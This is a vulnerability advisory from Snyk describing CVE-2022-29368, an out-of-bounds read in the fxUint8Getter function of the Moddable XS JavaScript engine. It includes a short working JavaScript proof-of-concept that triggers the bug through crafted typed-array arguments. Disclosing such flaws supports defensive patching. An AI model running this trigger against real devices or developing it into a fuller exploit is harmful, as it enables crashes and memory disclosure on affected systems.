Out-of-bounds Read Affecting Moddable-OpenSource/moddable package, versions [0,]
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-UNMANAGED-MODDABLEOPENSOURCEMODDABLE-2824106
- published13 May 2022
- disclosed13 May 2022
- creditQ1IQ, P1umer
Introduced: 13 May 2022
CVE-2022-29368 (opens in a new tab)How to fix?
A fix was pushed into the master branch but not yet published.
Overview
Affected versions of this package are vulnerable to Out-of-bounds Read via the function fxUint8Getter at /moddable/xs/sources/xsDataView.c.
PoC:
function main() {
var a4 = [1111111111,1111111111,1111111111,1111111111,1111111111];
var a5 = [11111111111111111111];
var a8 = ``;
var a9 = 0;
var a10 = Uint32Array;
var a11 = new Uint8ClampedArray();
({"buffer":a9,"byteLength":a10,"byteOffset":a8,} = a11);
var a13 = new Uint8ClampedArray(a9,1111111111,...a4);
var a14 = new Uint32Array(Symbol,111111111111111,...a5,...a13);
}
main();